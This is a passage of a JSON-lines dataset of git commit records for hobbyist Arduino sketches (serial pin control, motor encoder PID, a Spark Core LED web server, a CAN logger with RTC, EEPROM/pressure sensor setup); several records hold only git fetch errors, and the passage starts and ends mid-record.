>> 1) & B1111;\n int value = ((remainData & 1) << 7) + (c & B1111111);\n setPortWritable(port);\n analogWrite(port, value);\n remainData = 0;\n }\n}\n\nvoid sendAnalogValue(int pinNumber) {\n int value = analogRead(pinNumber);\n Serial.write(B11000000\n | ((pinNumber & B111)<<3)\n | ((value>>7) & B111));\n Serial.write(value & B1111111);\n}\n\nvoid sendDigitalValue(int pinNumber) {\n if (digitalRead(pinNumber) == HIGH) {\n Serial.write(B10000000\n | ((pinNumber & B1111)<<2)\n | (B1));\n } else {\n Serial.write(B10000000\n | ((pinNumber & B1111)<<2));\n }\n}\n\nvoid setPortReadable (int port) {\n if (isPortWritable(port)) {\n pinMode(port, INPUT);\n }\n}\n\nvoid setPortWritable (int port) {\n if (!isPortWritable(port)) {\n pinMode(port, OUTPUT);\n }\n}\n\nboolean isPortWritable (int port) {\n if (port > 7)\n return bitRead(DDRB, port - 8);\n else\n return bitRead(DDRD, port);\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/dplay\/dplay.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6ed976691a535ddcc837b8bc64e80e88fee7ba37","subject":"Add proof of concept code","message":"Add proof of concept code\n","repos":"PanicARobot\/ShkaffReloaded,PanicARobot\/ShkaffReloaded","old_file":"PoF\/motorControlPID.ino","new_file":"PoF\/motorControlPID.ino","new_contents":"#define MOTOR_ENCODER_A 2\n#define MOTOR_ENCODER_B 3\n\n#define LED_PIN 13\n\n#define LOOP_TIME_10ms 5\n#define LOOP_TIME_100ms 100\n#define LOOP_TIME_1s 1000\n\n#define ENCODER_INTEGRAL_FORCE 1\n\n\/\/ endcoder needed variables\nuint32_t encoderSpeed, setPoint = 1000, powerLevel, encoderLastSignalChange = 0, encoderLastTimeBetweenPeaks = 0, bufferForEncoder;\n\n\/\/ main tasks time handling\nuint32_t LastFire10ms, LastFire100ms, LastFire1s, currentMillis;\n\n\/\/ integration filter for encoders\nfloat sumOfEncoderSpeed = 0.0;\n\nvoid setup()\n{\n Serial.begin(115200);\n\n pinMode(MOTOR_ENCODER_A , INPUT);\n pinMode(MOTOR_ENCODER_B , INPUT);\n\n pinMode(LED_PIN , OUTPUT);\n\n attachInterrupt(0, handleEncoderPinChange, CHANGE);\n attachInterrupt(1, handleEncoderPinChange, CHANGE);\n}\n\nvoid loop()\n{\n currentMillis = millis();\n \/\/ 10 ms loop\n if(currentMillis - LastFire10ms > LOOP_TIME_10ms)\n {\n \/\/ update motor speed\n bufferForEncoder = getMotorSpeed();\n\n if (bufferForEncoder < 1500 && bufferForEncoder != 0 && bufferForEncoder != 82) \/\/ only when data is not over motor specs\n {\n encoderSpeed = bufferForEncoder;\n }\n\n \/\/ integrate the encoder output to reach smoother values\n sumOfEncoderSpeed -= (sumOfEncoderSpeed - ((float)encoderSpeed)) * ENCODER_INTEGRAL_FORCE;\n\n \/\/ load the speed in the output variable\n encoderSpeed = sumOfEncoderSpeed;\n\n \/\/ run 10 ms tasks\n sendDataToPC();\n\n \/\/ update lat fire\n LastFire10ms = currentMillis;\n }\n}\n\nuint32_t getMotorSpeed()\n{\n \/\/ response buffer\n uint32_t responseVariable;\n\n \/\/ in case the current delay is lower than the last, we need to return the last as the current is still in progress\n if( micros() - encoderLastSignalChange < encoderLastTimeBetweenPeaks)\n {\n \/\/ load the response in the buffer\n responseVariable = encoderLastTimeBetweenPeaks;\n }\n else\n {\n \/\/ load the current time delay as the speed response\n responseVariable = micros() - encoderLastSignalChange;\n }\n\n \/\/ convert the encoder value to speed in RPM\n responseVariable = 1000000 \/ (responseVariable * 12);\n\n \/\/ response to the caller\n return responseVariable;\n}\n\nvoid handleEncoderPinChange()\n{\n \/\/ static flag for peak detection\n static uint8_t peakStarted = 0;\n\n \/\/ in case the peak eneded we need to update the last time between peaks\n if (1 == peakStarted)\n {\n \/\/ load the new peap to peak time in the variable\n encoderLastTimeBetweenPeaks = micros() - encoderLastSignalChange;\n\n \/\/ reset peak started flag\n peakStarted = 0;\n }\n else\n {\n \/\/ set peak started flag\n peakStarted = 1;\n }\n\n \/\/ update last signal detected\n encoderLastSignalChange = micros();\n}\n\nvoid sendDataToPC()\n{\n \/\/ send start to tester\n Serial.write(0x03);\n\n \/\/ send 32 bit value\n Serial.write(encoderSpeed);\n Serial.write(encoderSpeed >> 8);\n Serial.write(encoderSpeed >> 16);\n Serial.write(encoderSpeed >> 24);\n\n \/\/ send 32 bit value\n Serial.write(setPoint);\n Serial.write(setPoint >> 8);\n Serial.write(setPoint >> 16);\n Serial.write(setPoint >> 24);\n\n \/\/ send 32 bit value\n Serial.write(powerLevel);\n Serial.write(powerLevel >> 8);\n Serial.write(powerLevel >> 16);\n Serial.write(powerLevel >> 24);\n \n \/\/ send end to tester\n Serial.write(0xFC);\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'PoF\/motorControlPID.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cba06223b2dedb0f1d71c2ffd63269bbd74790cc","subject":"Create spark-http-server.ino","message":"Create spark-http-server.ino","repos":"hpssjellis\/spark-core-socket-client-or-server","old_file":"spark-http-server.ino","new_file":"spark-http-server.ino","new_contents":"\nTCPServer server = TCPServer(80);\nTCPClient client;\n\nchar addr[16];\nchar myInput[30];\nchar myIncoming;\nint myLoop1;\nString myInStr;\n\n\nvoid setup()\n{\n \n pinMode(D7, OUTPUT);\n digitalWrite(D7, HIGH); \n delay(1000);\n digitalWrite(D7, LOW); \n delay(1000); \n digitalWrite(D7, HIGH); \n delay(1000);\n digitalWrite(D7, LOW); \n delay(1000); \n delay(1000);\n delay(1000); \/\/ give a few seconds to reflash the core if it gets unresponsive on startup\n digitalWrite(D7, HIGH); \n delay(300);\n digitalWrite(D7, LOW); \n \n \n server.begin();\n IPAddress localIP = WiFi.localIP();\n sprintf(addr, \"%u.%u.%u.%u\", localIP[0], localIP[1], localIP[2], localIP[3]);\n Spark.variable(\"Address\", addr, STRING);\n Spark.variable(\"myIn\", myInput, STRING); \n Spark.variable(\"myLoop1\", &myLoop1, INT);\n}\n\n\nvoid loop() {\n \/\/ listen for incoming clients\n client = server.available();\n if (client) {\n\n \n myLoop1 = 0;\n myInput[0] = '\\0';\n\n boolean currentLineIsBlank = true;\n while (client.connected()) {\n \n\n if (client.available()) {\n\n\n\n \n myIncoming = client.read(); \/\/ read from the http request\n \/\/ client.write(myIncoming); \/\/ great with Telnet to see what is going to the server \n if (myLoop1 < 29 ){ \/\/ http request should be much longer than 29 characters!\n myInput[myLoop1] = myIncoming; \/\/ put the character into an array\n \n } else { \/\/ read enough information from the http request\n \n myInput[myLoop1] = '\\0'; \/\/ helps make a char array compatible with a string.\n \n myInStr = myInput;\n myInStr.toUpperCase();\n \n if (myInStr.indexOf(\"D7-ON\") >= 0){ digitalWrite(D7, HIGH); } \n if (myInStr.indexOf(\"D7-OFF\") >= 0){ digitalWrite(D7, LOW); } \n \n\n \n }\n \n myLoop1++;\n \n \n \n \n if (myIncoming == '\\n' && currentLineIsBlank) {\n\n \n \/\/client.println(\"<H1>Hello World.<\/h1>\"); \/\/ use for debugging to check if http request can get returned\n \n \n delay(1);\n break;\n }\n if (myIncoming == '\\n') { \/\/ you're starting a new line\n currentLineIsBlank = true;\n }\n else if (myIncoming != '\\r') { \/\/ you've gotten a character on the current line\n currentLineIsBlank = false;\n }\n \n\n }\n }\n \/\/ give the web browser time to receive the data\n delay(1);\n }\n client.flush();\n client.stop();\n}\n\n\n\n\n\n\n\n\n\n\n\/*\n\nMAKE THIS HTML PAGE TO COMMUNICATE WITH YOUR CORE\n\n\n\n\n<a target=\"myI\" href=\"https:\/\/api.spark.io\/v1\/devices\/{CORE-ID}\/Address?access_token={ACCESS-TOKEN}\" >Address<\/a><br>\n\nClick the above link after replacing CORE-ID AND ACCESS-TOKEN. <BR>\nAfter clicking the above from the result change the below code to the correct IP\n\n<a target=\"myI\" href=\"http:\/\/192.145.1.65?D7-ON\" >D7-ON<\/a>...\n<a target=\"myI\" href=\"http:\/\/192.145.1.65?D7-OFF\" >D7-OFF<\/a><br><br><br>\n\n<iframe name=\"myI\" width=500 height=400><\/iframe>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nThe serial printout looks like\n\n192.145.1.65\nGET \/?D7-ON HTTP\/1.1\nHost: 192.145.1.65\nConnection: keep-alive\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,* \/ *;q=0.8\nUser-Agent: Mozilla\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/41.0.2231.0 Safari\/537.36\nAccept-Encoding: gzip, deflate, sdch\nAccept-Language: en-US,en;q=0.8\n\n\n\n\n*\/\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'spark-http-server.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"da18820e57ba9b8d3e073f89d11620d750287640","subject":"Submitting basic weather data","message":"Submitting basic weather data\n","repos":"rniemand\/ArduinoProjects,rniemand\/ArduinoProjects,rniemand\/ArduinoProjects,rniemand\/ArduinoProjects","old_file":"projects\/weather_station\/weather-node-v2\/weather-node-v2.ino","new_file":"projects\/weather_station\/weather-node-v2\/weather-node-v2.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/rniemand\/ArduinoProjects.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"613cf367d045598aac15bc6988c38a5c8f71e6da","subject":"cleanup","message":"cleanup\n","repos":"nathankoch\/arduino-videosynth","old_file":"videosynth.ino","new_file":"videosynth.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/nathankoch\/arduino-videosynth.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"630930b696eb95b71b357b5f15a014327808793c","subject":"Create com2CsTest.ino","message":"Create com2CsTest.ino","repos":"aisis\/Magic","old_file":"Csharp\/Due\/com2CsTest.ino","new_file":"Csharp\/Due\/com2CsTest.ino","new_contents":"\/*\n\n * Serial Port Monitor\n *\n * \n *\/\n\/\/Setup Output\n\nint ledPin_3 = 3;\n\n\/\/Setup message bytes\n\nbyte inputByte_0;\n\nbyte inputByte_1;\n\nbyte inputByte_2;\n\nbyte inputByte_3;\n\nbyte inputByte_4;\n\n\/\/Setup\n\nvoid setup() {\n\n pinMode(ledPin_3, OUTPUT);\n Serial.begin(9600);\n digitalWrite(ledPin_3, HIGH);\/\/\n delay(250);\/\/\n digitalWrite(ledPin_3, LOW);\/\/\n delay(250);\/\/\n}\n\n\/\/Main Loop\n\nvoid loop() {\n\n \/\/Read Buffer\n if (Serial.available() == 5) \n {\n \/\/Read buffer\n inputByte_0 = Serial.read();\n delay(100); \n inputByte_1 = Serial.read();\n delay(100); \n inputByte_2 = Serial.read();\n delay(100); \n inputByte_3 = Serial.read();\n delay(100);\n inputByte_4 = Serial.read(); \n }\n \/\/Check for start of Message\n if(inputByte_0 == 16)\n { \n \/\/Detect Command type\n switch (inputByte_1) \n {\n case 127:\n \/\/Set PIN and value\n switch (inputByte_2)\n {\n case 4:\n if(inputByte_3 == 255)\n {\n digitalWrite(ledPin_3, HIGH); \n break;\n }\n else\n {\n digitalWrite(ledPin_3, LOW); \n break;\n }\n break;\n } \n break;\n case 128:\n \/\/Say hello\n Serial.print(\"HELLO FROM ARDUINO\");\n break;\n } \n \/\/Clear Message bytes\n inputByte_0 = 0;\n inputByte_1 = 0;\n inputByte_2 = 0;\n inputByte_3 = 0;\n inputByte_4 = 0;\n \/\/Let the PC know we are ready for more data\n Serial.print(\"-READY TO RECEIVE\");\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Csharp\/Due\/com2CsTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b6b6c8f613734bd6f14b5d4970f97fd411d551c5","subject":"draw triangles demo","message":"draw triangles demo\n","repos":"warefab\/Warefab_TFT","old_file":"examples\/draw_triangles\/draw_triangles.ino","new_file":"examples\/draw_triangles\/draw_triangles.ino","new_contents":"\n#include <SoftwareSerial.h>\n#include <Warefab_TFT.h>\n\n\nSoftwareSerial ss_tft(2, 3); \/\/ RX, TX\nWarefab_TFT tft(&ss_tft);\n\nvoid setup() {\n \/\/initialize uart speed, 115200\n tft.begin(115200);\n \/\/clear screen\n tft.clearScreen();\n delay(1000);\n \/\/set brush color, fill color\n tft.brushColor(255, 0, 0);\n \/\/set pen color\n tft.penColor(0, 255, 0);\n delay(20);\n}\n\nvoid loop() {\n \/\/draw triangles\n for (int y = 0; y < 30; y++)\n {\n for (int x = 0; x < 11; x++)\n {\n if (x % 2) tft.fillTriangle(20 + 20 * x, 10 + y * 10, 10 + x * 20,\n 20 + y * 10, 30 + x * 20, 20 + y * 10);\n else tft.drawTriangle(20 + 20 * x, 10 + y * 10, 10 + x * 20,\n 20 + y * 10, 30 + x * 20, 20 + y * 10);\n }\n delay(20);\n }\n \/\/delay for 5 sec before clear screen\n delay(5000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/draw_triangles\/draw_triangles.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d8c32af75aa30494991a511582f6b03cd10cc67a","subject":"Arduino official ethernet shield initial commit","message":"Arduino official ethernet shield initial commit\n","repos":"Countly\/countly-sdk-iot-cpp","old_file":"ArduinoEthernetIoTSDK\/examples\/light_grove\/light_grove.ino","new_file":"ArduinoEthernetIoTSDK\/examples\/light_grove\/light_grove.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Countly\/countly-sdk-iot-cpp.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"d6d3cc4bccc4d77e50f83a656db8ac6a5496a3c8","subject":"First version of sensor firmware: debugging with LEDs and serial port, no networking","message":"First version of sensor firmware: debugging with LEDs and serial port, no networking\n","repos":"qiwi\/parking","old_file":"arduino\/p.ino","new_file":"arduino\/p.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/qiwi\/parking.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"1b9b9b29d5b2142831b1d6ff0cd86913064e8c2c","subject":"Create mainRead.ino","message":"Create mainRead.ino","repos":"Lilyheart\/CIS126_Final_Project,Lilyheart\/CIS126_Final_Project","old_file":"mainRead.ino","new_file":"mainRead.ino","new_contents":"\/\/ CRAP Codes\n#define USER_ID 0b0110\n#define ENCRYPTED_MESSAGE 0b0100\n#define SUCCESSFUL_ACKNOWLEDGEMENT 0b0111\n#define FAILED_ACKNOWLEDGEMENT 0b1111\n#define INVALID_USER_ID 0b0101\n\n\/\/ variables for tracking protocol state\nuint16_t crapUserId = 0;\nuint16_t crapMessage = 0;\nint incomingByteIndex = 0;\nbool didLastMessageFail = false;\nbool isWaiting = true;\n\n\/\/ helper function for creating a byte for the protocol\nuint8_t createByte(uint8_t protocolCode, uint8_t data) {\n uint8_t byte = (protocolCode << 4) | data;\n return byte;\n}\n\n\/\/ converts a user id and message into something that can be sent with a serial communication\n\/*uint8_t* convertMessage(uint16_t userId, uint16_t message) {\n uint8_t[8] convertedMessage = new uint8_t [8];\n \/\/ converting the userId into in the protocol\n for (int i = 0; i < 4; i++) {\n int userIdPositon = (3 - i) * 4;\n uint16_t userIdMask = 0b1111 << userIdPosition;\n uint8_t data = (userId & userIdMask) >> userIdPosition;\n convertedMessage[i] = createByte(USER_ID, data);\n }\n \/\/ converting the message into in the protocol\n for (int i = 0; i < 4; i++) {\n int messagePositon = (3 - i) * 4;\n uint16_t messageMask = 0b1111 << messagePosition;\n uint8_t data = (message & messageMask) >> messagePosition;\n convertedMessage[i+4] = createByte(ENCRYPTED_MESSAGE, data);\n }\n return convertedMessage;\n}*\/\n\n\/\/ helper function for reading the code off an incoming byte\nuint8_t getProtocolCode(uint8_t protocolByte) {\n return (protocolByte >> 4) & 0b1111;\n}\n\n\/\/ helper function for reading the data off an incoming byte\nuint8_t getProtocolData(uint8_t protocolByte) {\n return protocolByte & 0b1111;\n}\n\n\/\/ processes incoming byte for the receiver of incoming messages\nvoid processIncomingByte(uint8_t incomingByte) {\n uint8_t code = getProtocolCode(incomingByte);\n uint8_t data = getProtocolData(incomingByte);\n if (0 <= incomingByteIndex && incomingByteIndex <= 3 && code == USER_ID) {\n \/\/ successful incoming user id\n didLastMessageFail = false;\n isWaiting = true;\n int userIdPosition = (3 - incomingByteIndex) * 4;\n crapUserId = crapUserId | (data << userIdPosition);\n incomingByteIndex++;\n } else if (4 <= incomingByteIndex && incomingByteIndex <= 7 && code == ENCRYPTED_MESSAGE) {\n \/\/ successful incoming message\n didLastMessageFail = false;\n isWaiting = true;\n int messagePositon = (7 - incomingByteIndex) * 4;\n crapMessage = crapMessage | (data << messagePositon);\n incomingByteIndex++;\n if (incomingByteIndex == 8) {\n \/\/ message complete\n incomingByteIndex = 0;\n isWaiting = false;\n }\n } else {\n \/\/ invalid data, reset protocol and signal that the message failed\n crapUserId = 0;\n crapMessage = 0;\n incomingByteIndex = 0;\n didLastMessageFail = true;\n }\n}\n\n\/\/ functions for reading protocol state\nbool isMessageComplete() {\n return !isWaiting;\n}\n\nbool hasMessageFailed() {\n return didLastMessageFail;\n}\n\nuint16_t getUserId() {\n return crapUserId;\n}\n\nuint16_t getMessage() {\n return crapMessage;\n}\n\nuint8_t nextByte = 0;\n\nvoid updateStatusIndicators() {}\n\nvoid setup() {\n \/\/ initialize\n Serial.begin(9600);\n pinMode(LED_BUILTIN, OUTPUT);\n}\n\n void loop() {\n \/\/ waiting for incoming data\n if (Serial.available()) {\n \/\/ reading the next byte and sending it to the CRA Protocol\n nextByte = Serial.read();\n processIncomingByte(nextByte);\n Serial.print(\"code: \");\n Serial.print(getProtocolCode(nextByte), BIN);\n Serial.print(\", data: \");\n Serial.print(getProtocolData(nextByte), BIN);\n Serial.println();\n\n \/\/ check to see if the message is complete\n if (isMessageComplete()) {\n uint16_t userId = getUserId();\n uint16_t message = getMessage();\n Serial.println(userId, BIN);\n Serial.println(message, BIN);\n }\n }\n if (hasMessageFailed()) {\n digitalWrite(LED_BUILTIN, HIGH);\n } else {\n digitalWrite(LED_BUILTIN, LOW);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'mainRead.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0a9b31bbbb9ad07a59a940b3d928842beb9cc873","subject":"first commit of control procedure","message":"first commit of control procedure\n","repos":"upcsp\/drap-control","old_file":"mainproc.ino","new_file":"mainproc.ino","new_contents":"#include <EEPROM.h>\n#include <Adafruit_BMP085_U.h>\n\nAdafruit_BMP085_Unified bmp = Adafruit_BMP085_Unified(10085);\nbool sensorStatus=false;\nuint16_t writePos=0x000;\n\nconst uint16_t FLAG_ADDR=0x000;\nenum EEPROM_FLAGS {\n FLAG_BLANK=0x00,\n FLAG_DEFAULT=0xA0,\n FLAG_FIRST_WRITE=0xA1,\n FLAG_ADDITIONAL_WRITE=0xA2,\n FLAG_COMPLETED=0xFF\n};\n\nEEPROM_FLAGS eeprom_state=FLAG_DEFAULT;\n\nconst uint16_t PRESS_ADDR=0x001;\nfloat baseLevelPressure=1023.25f;\n\n\nenum ACTUATOR_STATE {\n STATE_DISENGAGED,\n STATE_ARMED,\n STATE_ENGAGED,\n STATE_EXPIRED\n};\n\nenum ACTUATOR_TYPE {\n TYPE_DROGUE,\n TYPE_MAIN_CHUTE\n};\n\nACTUATOR_STATE states[2]={STATE_DISENGAGED};\n\nvoid setup() {\n pinMode(LED_BUILTIN, OUTPUT);\n Serial.begin(9600);\n\n \/\/ Initialize EEPROM\n \/\/ read EEPROM, check if there's something written by checking 0x000 \n \/\/ then, set write location to rightmost nonzero position\n \/\/ EEPROM.write(FLAG_ADDR,FLAG_BLANK);\n byte flags = EEPROM.read(FLAG_ADDR);\n\n\n if(flags==FLAG_BLANK){\/\/ Buffer is in a blank state:\n \/\/ write first write flag to address 0x000\n EEPROM.write(FLAG_ADDR,FLAG_FIRST_WRITE);\n eeprom_state=FLAG_FIRST_WRITE;\n \/\/ set writepos to next address\n ++writePos;\n \n } else if(flags==FLAG_FIRST_WRITE) {\/\/ Buffer has been written to previously, but not terminated correctly\n EEPROM.write(FLAG_ADDR,FLAG_ADDITIONAL_WRITE);\n eeprom_state=FLAG_ADDITIONAL_WRITE;\n \/\/ start reading from the back and search for first byte !=0x00\n for(uint16_t i=0x398;i>PRESS_ADDR+sizeof(float);--i){\n if(EEPROM.read(i)!=0x00){\/\/When found\n \/\/ set write position to next address\n writePos=i+1;\n \/\/ write code 0xF0 (240)\n EEPROM.write(writePos,0xF0);\n \/\/ move writepos to next address\n ++writePos;\n break;\n }\n }\n \n } else if(flags==FLAG_COMPLETED){\/\/ Buffer has been written to and terminated successfully\n Serial.println(\"EEPROM has been written to successfully and hasn't yest been unloaded. Aborting.\");\n uint16_t longt=400;\n uint16_t shortt=100;\n while(true){\n digitalWrite(LED_BUILTIN, HIGH);\n delay(shortt);\n digitalWrite(LED_BUILTIN, LOW);\n delay(shortt);\n digitalWrite(LED_BUILTIN, HIGH);\n delay(shortt);\n digitalWrite(LED_BUILTIN, LOW);\n delay(longt);\n }\n }\n\n \n \/\/ Initialize atmospheric sensor and height\n \n Serial.println(\"Pressure Sensor Test\");\n sensorStatus=bmp.begin();\n \n if(!sensorStatus){\n Serial.println(\"BMP180 Sensor not detected. Aborting.\");\n uint16_t longt=400;\n uint16_t shortt=100;\n while(true){\n digitalWrite(LED_BUILTIN, HIGH);\n delay(longt);\n digitalWrite(LED_BUILTIN, LOW);\n delay(longt);\n digitalWrite(LED_BUILTIN, HIGH);\n delay(shortt);\n digitalWrite(LED_BUILTIN, LOW);\n delay(longt);\n }\n \n } else {\n if(eeprom_state==FLAG_FIRST_WRITE){\n sensors_event_t event;\n bmp.getEvent(&event);\n while(!event.pressure){\n bmp.getEvent(&event);\n }\n Serial.println(\"Pressure event detected.\");\n \n baseLevelPressure=event.pressure;\n EEPROM.put(PRESS_ADDR,baseLevelPressure);\n Serial.print(\"Pressure: \");\n Serial.println(baseLevelPressure);\n \n } else if(eeprom_state==FLAG_ADDITIONAL_WRITE) {\n Serial.println(\"Getting pressure value from eeprom\");\n EEPROM.get(PRESS_ADDR,baseLevelPressure);\n Serial.print(\"Pressure: \");\n Serial.println(baseLevelPressure);\n }\n \n }\n\n \n \n \/\/ Initialize actuators\n\n}\n\nvoid loop() {\n \n digitalWrite(LED_BUILTIN, HIGH);\n \/\/ put your main code here, to run repeatedly:\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'mainproc.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ccc225137e993c2dfca438cdefb674c0afe89f14","subject":"Added a real time clock to the CAN logger","message":"Added a real time clock to the CAN logger\n\nAdapted the Teensy Examples to ad RTC. Also uses an elapsedMillis\nconstruct to get milliseconds per second.\n","repos":"jeremy-daily\/Teensy-Crash-EDR,jeremy-daily\/Teensy-Crash-EDR","old_file":"_03_Add_RealtimeClock\/_03_Add_RealtimeClock.ino","new_file":"_03_Add_RealtimeClock\/_03_Add_RealtimeClock.ino","new_contents":"\/\/Reading data from CAN and displaying it on a serial port\n\/\/Include the realtime clock functions inspired by the TimeTeensy3.ino example\n\n\/\/Include the CAN libraries for the Teensy microprocessor\n#include <FlexCAN.h>\n#include <TimeLib.h>\n\n\/\/Declare which pin is connected to the LED\n\/\/Use the Teensy Reference Card and the board schematics to determine the pin number\nconst int redLEDpin = 21;\n\n\/\/initiate the CAN library at 250kbps\nFlexCAN CANbus(250000);\n\n\/\/Set up the CAN data structure\nstatic CAN_message_t rxmsg;\n\n\/\/set up a counter for each received message\nunsigned long int rxCount = 0;\n\n\/\/set up a timer to toggle the LEDs so the delay function isn't needed.\nelapsedMillis LEDtoggleTimer;\nelapsedMillis millisecondsPerSecond;\n\n\n\/\/Keep track of the LED state\nboolean ledState = true;\n\n\/\/set up a variable to keep track of the timestamp\ntime_t previousTime = 0;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n\n \/\/ set the Time library to use Teensy 3.0's RTC to keep time\n setSyncProvider(getTeensy3Time);\n\n \/\/declare the LED Pin to be the output\n pinMode(redLEDpin,OUTPUT);\n digitalWrite(redLEDpin,ledState); \/\/Turn on the LED\n \n \/\/start the CAN access\n CANbus.begin();\n rxmsg.timeout = 0;\n \n \/\/try to wait for the Serial bus to come up for 1 second\n delay(1000);\n Serial.println(F(\"Teensy 3.2 CAN Receive Test.\"));\n \n \/\/Set System Time\n if (timeStatus()!= timeSet) {\n Serial.println(F(\"Unable to sync with the RTC\"));\n } \n else {\n Serial.println(F(\"RTC has set the system time\"));\n }\n \n \/\/print a header\n Serial.print(F(\"Count\\tuSec\\tYYYY-MM-DD HH:MM:SS.milli\\tID\\tDLC\"));\n for (uint8_t i = 1; i<9;i++){ \/\/label the byte columns according to J1939\n char byteDigits[4]; \/\/declare a byte display array\n sprintf(byteDigits,\"\\tB%i\",i);\n Serial.print(byteDigits); \n }\n\n \/\/before entering the loop, set the previous time\n previousTime = now();\n \/\/synchronize the millisecondPerSecond timer\n while (now() - previousTime < 1){\n millisecondsPerSecond = 0;\n } \n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n \/\/check to see if the number of seconds has changed to reset the millisecond timer for each second\n if (now() - previousTime == 1){\n previousTime = now();\n millisecondsPerSecond = 0;\n }\n\n \/\/ Uncomment this to synchronize the RTC to your PC time.\n \/* if (Serial.available()) {\n time_t t = processSyncMessage();\n if (t != 0) {\n Teensy3Clock.set(t); \/\/ set the RTC\n setTime(t);\n }\n }\n *\/\n \n while(CANbus.read(rxmsg)){\n rxCount++;\n \n uint32_t ID = rxmsg.id;\n uint8_t len = rxmsg.len;\n \n char timeCountIDandDLCdigits[50]; \n sprintf(timeCountIDandDLCdigits,\"%10i\\t%10i\\t%04i-%02i-%02iT%02i:%02i:%02i.%03i\\t%08X\\t%1i\",rxCount,micros(),year(),month(),day(),hour(),minute(),second(),int(millisecondsPerSecond),ID,len);\n Serial.print(timeCountIDandDLCdigits); \n \n for (uint8_t i = 0; i<len;i++){ \n char byteDigits[4]; \n sprintf(byteDigits,\"\\t%02X\",rxmsg.buf[i]);\n Serial.print(byteDigits); \n }\n Serial.println();\n }\n \n if (LEDtoggleTimer >=100){\n LEDtoggleTimer = 0; \/\/reset the timer\n ledState = !ledState; \/\/ Toggle values\n digitalWrite(redLEDpin,ledState);\n }\n \n}\n\ntime_t getTeensy3Time(){\n return Teensy3Clock.get();\n}\n\n\n\n\/* code to process time sync messages from the serial port *\/\nunsigned long processSyncMessage() {\n unsigned long pctime = 0L;\n const unsigned long DEFAULT_TIME = 1357041600; \/\/ Jan 1 2013 \n\n if(Serial.find(\"T\")) {\n pctime = Serial.parseInt();\n return pctime;\n if( pctime < DEFAULT_TIME) { \/\/ check the value is a valid time (greater than Jan 1 2013)\n pctime = 0L; \/\/ return 0 to indicate that the time is not valid\n }\n }\n return pctime;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_03_Add_RealtimeClock\/_03_Add_RealtimeClock.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c89513751f6101e4157deed22638cd13deba76f0","subject":"Support for cosmos","message":"Support for cosmos\n","repos":"inf-rno\/machack2014","old_file":"RealGame\/cosmos.ino","new_file":"RealGame\/cosmos.ino","new_contents":"int leds[][2] = {\n {A0, D0},\n {A1, D1},\n {A2, D2}\n };\nint prevIndex = 0;\n\nvoid lightRandom();\n\nvoid setup() {\n for(int i = 0; i < 3; i ++)\n {\n pinMode(leds[i][0], OUTPUT);\n pinMode(leds[i][1], OUTPUT);\n }\n}\n\nvoid loop() {\n lightRandom();\n delay(5000);\n}\n\nvoid lightRandom() {\n digitalWrite(leds[prevIndex][0], LOW);\n digitalWrite(leds[prevIndex][1], LOW);\n prevIndex = random(3);\n digitalWrite(leds[prevIndex][0], HIGH);\n digitalWrite(leds[prevIndex][1], HIGH);\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'RealGame\/cosmos.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2466f7759b4d436cbcbdceb1b63026ddf0d67411","subject":"Initial code import, button box","message":"Initial code import, button box\n","repos":"MortenMiddelthon\/jpanel,MortenMiddelthon\/jpanel,MortenMiddelthon\/jpanel,MortenMiddelthon\/jpanel,MortenMiddelthon\/jpanel,MortenMiddelthon\/jpanel","old_file":"button_box\/button_box.ino","new_file":"button_box\/button_box.ino","new_contents":"#define WHITE 5\n#define RED 6\n#define ID0 12\n#define ID1 13\n#define BUTTON_WHITE 0\n#define BUTTON_RED 1\n\nuint8_t white = 0, red = 0, white_state = 0, red_state = 0;\nuint8_t id = 0;\n\n\nvoid setup () 